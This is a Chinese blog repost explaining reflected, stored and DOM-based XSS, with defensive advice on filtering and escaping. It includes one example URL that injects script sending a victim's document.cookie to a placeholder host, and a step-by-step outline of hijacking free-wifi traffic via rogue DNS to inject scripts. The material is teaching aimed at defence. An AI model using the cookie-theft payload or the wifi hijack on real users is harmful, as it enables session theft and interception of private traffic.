资讯专栏INFORMATION COLUMN

前端安全之XSS攻击

lmxdawn / 380人阅读

摘要:跨域脚本攻击攻击是最常见的攻击,其重点是跨域和客户端执行。后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。开发安全措施首要是服务端要进行过滤,因为前端的校验可以被绕过。这种直接存在于页面,无须经过服务器返回就是基于本地的攻击。

XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:

Reflected XSS(基于反射的XSS攻击)

Stored XSS(基于存储的XSS攻击)

DOM-based or local XSS(基于DOM或本地的XSS攻击)

Reflected XSS

基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。

例子:

做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。

在搜索框搜索内容,填入“”, 点击搜索。

当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。

进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:

http://www.amazon.cn/search?n..."http://xxx/get?cookie="+document.cookie
PS:这个地址当然是没效的,只是举例子而已。

结论:

如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。

开发安全措施:

前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。

后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。

例如:

标签:


转义

后端没有对文章进行过滤,直接保存文章内容到数据库。

当其他看这篇文章的时候,包含的恶意脚本就会执行。

PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。

结论:

后端尽可能对提交数据做过滤,在场景需求而不过滤的情况下,前端就需要做些处理了。

开发安全措施:

首要是服务端要进行过滤,因为前端的校验可以被绕过。

当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。

DOM-based or local XSS

基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。

例子1:

提供一个免费的wifi。

开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。

之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。

收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。

当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。

这个其实就是wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。

PS:本文转自 http://www.cnblogs.com/loveso...

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/81613.html

相关文章

  • 【面试篇】寒冬求职你必须要懂的Web安全

    摘要:禁止内联脚本执行规则较严格,目前发现使用。典型的攻击流程受害者登录站点,并保留了登录凭证。站点接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。 随着互联网的发展,各种Web应用变得越来越复杂,满足了用户的各种需求的同时,各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题,今天一起...

    yeyan1996 评论0 收藏0
  • 【面试篇】寒冬求职你必须要懂的Web安全

    摘要:禁止内联脚本执行规则较严格,目前发现使用。典型的攻击流程受害者登录站点,并保留了登录凭证。站点接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。 随着互联网的发展,各种Web应用变得越来越复杂,满足了用户的各种需求的同时,各种网络安全问题也接踵而至。作为前端工程师的我们也逃不开这个问题,今天...

    charles_paul 评论0 收藏0
  • web 应用常见安全漏洞一览

    摘要:应用常见安全漏洞一览注入注入就是通过给应用接口传入一些特殊字符,达到欺骗服务器执行恶意的命令。此外,适当的权限控制不曝露必要的安全信息和日志也有助于预防注入漏洞。 web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外...

    darkerXi 评论0 收藏0
  • web 应用常见安全漏洞一览

    摘要:应用常见安全漏洞一览注入注入就是通过给应用接口传入一些特殊字符,达到欺骗服务器执行恶意的命令。此外,适当的权限控制不曝露必要的安全信息和日志也有助于预防注入漏洞。 web 应用常见安全漏洞一览 1. SQL 注入 SQL 注入就是通过给 web 应用接口传入一些特殊字符,达到欺骗服务器执行恶意的 SQL 命令。 SQL 注入漏洞属于后端的范畴,但前端也可做体验上的优化。 原因 当使用外...

    Panda 评论0 收藏0
  • Web 安全漏洞 XSS 攻击

    摘要:是一种经常出现在应用程序中的计算机安全漏洞,是由于应用程序对用户的输入过滤不足而产生的。常见的攻击有三种反射型型存储型。但是作为开发人员依然要了解基本知识于细节处避免制造漏洞。 showImg(https://segmentfault.com/img/bVbjJDk); 编者说:作为JS系工程师接触最多的漏洞我想就是 XSS 漏洞了,然鹅并不是所有的同学对其都有一个清晰的认识。今天我们...

    lieeps 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<